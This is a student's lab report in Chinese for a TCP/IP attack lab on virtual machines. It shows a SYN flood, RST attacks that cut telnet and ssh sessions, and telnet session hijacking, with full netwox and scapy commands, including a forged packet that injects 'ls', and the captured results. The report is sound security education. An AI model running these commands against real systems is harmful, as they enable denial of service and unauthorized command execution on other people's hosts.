

TCP/IP Attack Lab

57117118 司晓凯

1. SYN Flooding Attack (SYN 泛洪攻击)

SYN Flooding Attack——一种 DoS 攻击形式，攻击者向受害者的 TCP 端口发送许多 SYN 请求，但攻击者无意完成 3 次握手过程，攻击者要么使用猜测的 IP 地址或不继续流程。通过这次攻击，攻击者可以使受害者的队列中全是半打开的连接，即已完成 SYN、SYN-ACK 但尚未收到最后的 ACK。当此队列已满时，受害者不能再连接。

在此任务中，演示 SYN 泛洪攻击。可以使用 Netwox 工具进行攻击，然后使用嗅探工具捕获攻击数据包。在攻击进行的时候，在受害者机器上运行“netstat -na”命令，并将结果与攻击前的结果进行比较。

关闭 SYN Cookie Countermeasure，进行攻击

攻击前受害者情况：

```
激活Internet连接（服务器和已建立连接的）
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:631            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23               0.0.0.0:*               LISTEN
tcp6       0      0 :::80                    :::*                     LISTEN
tcp6       0      0 :::1:631                  :::*                     LISTEN
tcp6       0      0 :::443                    :::*                     LISTEN
udp        0      0 0.0.0.0:51005            0.0.0.0:*               *
udp        0      0 127.0.0.1:53             0.0.0.0:*               *
udp        0      0 0.0.0.0:68               0.0.0.0:*               *
udp        0      0 0.0.0.0:5353             0.0.0.0:*               *
udp        0      0 0.0.0.0:47415            0.0.0.0:*               *
udp        0      0 0.0.0.0:631              0.0.0.0:*               *
udp6       0      0 :::55408                  :::*                     *
udp6       0      0 :::5353                   :::*                     *
raw6       0      0 :::58                     :::*                     7
活跃的UNIX域套接字（服务器和已建立连接的）
Proto RefCnt Flags      Type       State      I-Node  路径
unix    2      [ ]       数据报     otify     28094   /run/user/1000/systemd/n
```

攻击：

```
seed@VM:~$ sudo netwox 76 -i "192.168.1.105" -p "80"
```

受害者连接情况：

激活Internet连接 (服务器和已建立连接的)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State
tcp	0	0	127.0.1.1:53	0.0.0.0:*	LISTEN
tcp	0	0	127.0.0.1:631	0.0.0.0:*	LISTEN
tcp	0	0	0.0.0.0:23	0.0.0.0:*	LISTEN
tcp6	0	0	:::80	:::*	LISTEN
tcp6	0	0	:::1:631	:::*	LISTEN
tcp6	0	0	:::443	:::*	LISTEN
tcp6	0	0	192.168.1.105:80	246.209.102.134:3982	SYN_RECV
tcp6	0	0	192.168.1.105:80	130.71.134.202:21644	SYN_RECV
tcp6	0	0	192.168.1.105:80	241.249.32.105:42303	SYN_RECV
tcp6	0	0	192.168.1.105:80	219.110.91.193:55760	SYN_RECV
tcp6	0	0	192.168.1.105:80	85.55.211.229:50467	SYN_RECV
tcp6	0	0	192.168.1.105:80	118.86.197.120:25565	SYN_RECV
tcp6	0	0	192.168.1.105:80	248.60.112.93:18455	SYN_RECV
tcp6	0	0	192.168.1.105:80	111.99.210.97:13843	SYN_RECV
tcp6	0	0	192.168.1.105:80	200.26.164.162:39509	SYN_RECV
tcp6	0	0	192.168.1.105:80	254.180.222.252:18032	SYN_RECV
tcp6	0	0	192.168.1.105:80	65.186.127.93:41912	SYN_RECV
tcp6	0	0	192.168.1.105:80	35.162.31.111:64466	SYN_RECV
tcp6	0	0	192.168.1.105:80	198.249.243.231:14210	SYN_RECV

很多 SYN_RECV 状态

2.TCP RST Attacks on telnet and ssh Connections

RST 表示复位，用来异常的关闭连接，在 TCP 的设计中它是不可或缺的。发送 RST 包关闭连接时，不必等缓冲区的包都发出去，直接就丢弃缓存区的包发送 RST 包。而接收端收到 RST 包后，也不必发送 ACK 包来确认。

TCP RST 攻击可以终止两个受害者之间建立的 TCP 连接。例如，如果两个用户 A 和 B 之间建立了 Telnet 连接 (TCP)，则攻击者可以将 A 到 B 的 RST 数据包进行欺骗，从而破坏现有的连接。为了在这次攻击中取得成功，攻击者需要正确构造 TCP RST 数据包。

Netwox 编号为 78 的工具提供了 RST 攻击的基本功能，输入 “netwox 78 - help” 可以获取帮助信息。

攻击目的——使用 TCP RST 攻击来破坏 A 和 B 之间现有的 telnet 连接。之后，对 ssh 连接尝试相同的攻击。

```
[09/10/20]seed@VM:~$ telnet 10.0.2.5
Trying 10.0.2.5...
Connected to 10.0.2.5.
Escape character is '^]'.
Ubuntu 12.04.2 LTS
ubuntu login: seed
Password:
Last login: Thu Sep 10 00:28:47 PDT 2020 from VM-2.local on pts/1
Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
```

攻击者向受害者发送 RST 报文，企图中断观察者和受害者间的 telnet 连接。

```
[09/10/20]seed@VM:~$ sudo netwox 78 -i 10.0.2.5
```

察者与受害者建立的 telnet 连接被终止

击者执行攻击指令后，观察者与受害者之间的 telnet 连接终止，TCP RST 攻击成功。

使用 Netwox 78 对 ssh 进行攻击：

攻击者向受害者发送 RST 报文，企图中断观察者和受害者间的 ssh 连接。

```
[09/10/20]seed@VM:~$ sudo netwox 78 -i 10.0.2.5
```

```
[09/10/2020 01:05] seed@ubuntu:~$ packet_write_wait: Connection to 10.0.2.5 port 22: Broken pipe
[09/10/20]seed@VM:~$
```

攻击者执行攻击指令后，观察者与受害者之间的 ssh 连接终止，TCP RST 攻击成功。

3.TCP Session Hijacking（会话劫持）

TCP 会话劫持攻击的目的是劫持一个现有的 TCP 连接(会话)，通过向会话中注入恶意内容，来实现攻击。如果此连接是 telnet 会话，攻击者可向此会话注入恶意命令(如删除重要文件)，导致受害者执行恶意命令。

在这个任务中，需要演示如何劫持两台计算机之间的 telnet 会话。目标是得到 telnet 服务器运行来自您的恶意命令。为简单起见，我们假设攻击者和受害者在同一局域网内。

使用 Netwox 40 进行攻击

ip.addr == 10.0.2.6&&ip.addr==10.0.2.5						
No.	Time	Source	Destination	Protocol	Length	Info

攻击者只抓受害者与观察者之间通信的报文。

```
[09/10/20]seed@VM:~$ telnet 10.0.2.5
Trying 10.0.2.5...
Connected to 10.0.2.5.
Escape character is '^]'.
Ubuntu 12.04.2 LTS
ubuntu login: seed
Password:
Last login: Thu Sep 10 20:55:53 PDT 2020 from VM.local on pts/3
Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.5.0-37-generic i686)

* Documentation:  https://help.ubuntu.com/

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
```

攻击者利用 Netwox 40 攻击受害者，伪造一个来自于观察者的报文发送给受害者

攻击者利用指令 `sudo netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 10.0.2.6 --ip4-dst 10.0.2.5 --tcp-src 35490 --tcp-dst 23 --tcp-seqnum 53356105 --tcp-acknum 1832019018 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c730d00"`，来伪造一个从观察者发往受害者的包（从而伪装成观察者与受害者通信）。包的数据部分为“6c730d00”，是指令“ls\r”的十六进制表示。

报文发出去后，攻击者在 Wireshark 上抓到了受害者发给观察者（其实是假扮成观察者的攻击者）的响应报文，报文的数据部分是受害者执行指令“ls\r”的结果（输出目录下所有的文件）。

使用 scapy 进行攻击

攻击者使用 scapy 伪造一个来自于观察者的报文，报文的数据字段为“ls\r”，将其发往受害者。

```
1420 2020-... 10.0.2.6 10.0.2.5 TELNET 57 Telnet Data ...
Sequence number: 2181840232
[Next sequence number: 2181840235]
Acknowledgment number: 1368281597
Header Length: 20 bytes
▷ Flags: 0x018 (PSH, ACK)
Window size value: 8192
[Calculated window size: 1048576]
[Window size scaling factor: 128]
Checksum: 0x1088 [unverified]
[Checksum Status: Unverified]
Urgent pointer: 0
▷ [SEQ/ACK analysis]
▼ Telnet
  Data: ls\r
```

报文发出去后，攻击者在 Wireshark 上抓到了受害者发给观察者（其实是假扮成观察者的攻击者）的响应报文，报文的数据部分是受害者执行指令“ls\r”的结果（输出目录下所有的文件）。攻击者通过抓包，成功在受害者与观察者都不知道自己存在的情况下，获得了服务器当前目录下所有文件的名称，会话劫持攻击成功。

```
1422 2020-... 10.0.2.5 10.0.2.6 TELNET 567 Telnet Data ...

▷ No-Operation (NOP)
▼ Timestamps: TSval 5838977, TSecr 10895706
  Kind: Time Stamp Option (8)
  Length: 10
  Timestamp value: 5838977
  Timestamp echo reply: 10895706

Telnet
Data: ls\r\n
Data: \033[0m\033[01;34mDesktop\033[0m \033[01;34mopenssl-1.0.1\033
Data: \033[01;34mDocuments\033[0m | \033[01;31mopenssl_1.0.1-4ubuntu5.
Data: \033[01;34mDownloads\033[0m | openssl_1.0.1-4ubuntu5.11.dsc
Data: \033[01;34mmeigData\033[0m \033[01;31mopenssl_1.0.1.orig.tar.
Data: examples.desktop \033[01;34mPictures\033[0m\r\n
Data: \033[01;34mMusic\033[0m \033[01;34mPublic\033[0m\r\n
```